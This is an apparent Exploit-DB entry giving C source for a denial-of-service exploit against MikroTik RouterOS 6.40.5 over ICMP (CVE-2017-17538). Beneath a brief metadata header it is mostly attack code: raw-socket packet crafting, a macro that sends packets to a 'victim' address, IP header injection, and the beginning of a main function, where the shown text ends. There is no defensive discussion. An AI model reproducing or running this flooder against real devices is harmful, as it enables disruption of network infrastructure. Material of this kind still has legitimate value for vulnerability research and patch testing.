MikroTik 6.40.5 ICMP - Denial of Service

EDB-ID: 43317
Author: FarazPajohan
Published: 2017-12-11
CVE: CVE-2017-17538
Type: Dos
Platform: Hardware
Vulnerable App: N/A

 #include <stdlib.h> 
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <string.h>
#include <netinet/ip.h>
#define handle(i) htons(i)
#define cicmp 32
#define aicmp() (a_flags & cicmp)
#define sending_p() if (sendto(rawsock,&packet,(sizeof packet),0,(struct sockaddr *)&victim,sizeof victim) < 0) {\
perror("sendto");\
exit(-1);\
}
struct sockaddr_in victim;
u_long change(const char *host);
static void inject_iphdr(struct ip *ip, u_char p, u_char len);
char *class2ip(const char *class);
static void send_icmp(u_char garbage);
char *get_plain(const char *crypt_file, const char *xor_data_key);
static void usage(const char *argv0);
u_long dstaddr;
u_short dst_sp, dst_ep, src_sp, src_ep;
char *src_class, *dst_class;
int a_flags, rawsock;
struct {
int a;
int b;
void (*f)(u_char);
} a_list[] = {
{ cicmp, ICMP_ECHO, send_icmp },
{ 0, 0, (void *)NULL },
};
int
main(int argc, char *argv[])
{
int n, i, on = 1;
int b_link;
#ifdef F_PASS
struct stat sb;
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